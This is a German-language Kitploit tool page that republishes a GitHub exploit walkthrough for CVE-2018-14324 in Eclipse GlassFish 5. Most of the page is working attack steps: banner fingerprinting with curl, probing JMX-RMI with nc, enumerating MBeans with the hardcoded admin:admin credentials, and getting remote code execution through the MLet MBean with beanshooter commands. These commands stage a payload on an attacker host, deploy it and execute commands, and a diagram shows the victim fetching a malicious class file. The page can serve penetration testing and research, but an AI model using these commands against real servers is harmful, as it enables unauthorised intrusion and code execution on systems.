Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-14324-Exploit — Hacking von Eclipse GlassFish - CVE-2018-14324 | Kitploit
Tools/GitHubGitHub/matejsmycka/cve-2018-14324-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubmatejsmycka/cve-2018-14324-exploit

CVE-2018-14324-Exploit

Hacking von Eclipse GlassFish - CVE-2018-14324

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Eclipse GlassFish hacken - CVE-2018-14324

Die Beschreibung von CVE-2018-14324 erklärt die Auswirkungen dieser Schwachstelle nicht vollständig. TLDR: Es besteht Zugriff auf Java Management Extensions (JMX) über hartcodierte admin:admin-Zugangsdaten.

Während die Auswirkung als „potenziell sensible Informationen, Datenbankoperationen durchführen oder die Demo über eine JMX-RMI-Sitzung manipulieren“ aufgeführt ist, wird nicht erklärt, was die Manipulation über eine JMX-RMI-Sitzung bedeutet. Ich bin nur wegen des hohen CVSS-Scores von 9.8 eingestiegen und habe herausgefunden, dass man praktisch RCE über die javax.management.loading:type=MLet-MBean erreichen kann, die in einer GlassFish-5-Instanz standardmäßig aktiviert ist.

Entdeckung

Enumeriere den GlassFish-Server anhand des Versionsbanners.

root@kitploit:~
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'

Bei Version 5 ist der Server anfällig für CVE-2018-14324.

Überprüfe dann, ob der JMX-RMI-Dienst auf Port 7676 läuft.

root@kitploit:~
nc <IP_ADDRESS> 7676

Du solltest den Verbindungsstring zum JMX-RMI-Dienst sehen. Halte den String für die spätere Verwendung fest.

Zum Beispiel:

root@kitploit:~
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx

Wie du siehst, wird der Hostname vm31465 im Verbindungsstring verwendet; es werden zwei Ports erwähnt, 8686 und 7676.

  • 7676 ist der JMX-RMI-Port, der für das JNDI-Lookup verwendet wird
  • 8686 ist der JMX-Endpunkt-Port, der für die JMX-Kommunikation verwendet wird

Du solltest vm31465 in deine /etc/hosts-Datei eintragen, sodass sie auf die IP-Adresse von verweist. Wenn du Beanshooter verwendest, ist das nicht erforderlich.

Enumeration

Was zur Hölle ist JMX? Es handelt sich um Java Management Extensions (JMX), eine Technologie, mit der du Verwaltungsschnittstellen für Java-Anwendungen implementieren kannst. Stell es dir wie SNMP für Java-Anwendungen vor.

Zuerst musst du die verfügbaren MBeans auf dem Zielsystem enumerieren.

root@kitploit:~
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin

Mit diesem Skript erhältst du eine Liste der MBeans, ihrer Attribute und Operationen.

Die MBean com.sun.management:type=DiagnosticCommand ermöglicht es dir, Diagnosebefehle auf der Ziel-JVM auszuführen. Du kannst sie verwenden, um Systemeigenschaften zu enumerieren; weitere Informationen findest du in DiagnosticCommand.java.

Wenn du javax.management.loading:type=MLet siehst, solltest du das Ziel ausnutzen können. Diese MBean ermöglicht es dir, entfernte Java-Klassen in die Ziel-JVM zu laden. Allerdings könnte der Java-Security-Manager dich daran hindern, beliebigen Code auszuführen.

Der einzige funktionierende Exploit für RCE war das tomka-Modul im beanshooter. Benutzerdefinierte Exploits wurden vom Security-Manager blockiert. Das MLet-Laden funktionierte weiterhin, aber die Klasse durfte keinen Code ausführen.

Ausnutzung

Verwende das Beanshooter-tomka-Modul, um das Ziel auszunutzen.

root@kitploit:~
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'

Du kannst auch debuggen, indem du einen eigenen MBean-Loader schreibst und überwachst, ob sich das Ziel mit deinem MLet-Server verbindet. Der Ablauf ist wie folgt:

root@kitploit:~
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup

attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file

attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())

Ressourcen

  • https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
  • https://nvd.nist.gov/vuln/detail/CVE-2018-14324
  • https://0xdf.gitlab.io/2025/07/29/htb-manage.html#
Tool herunterladen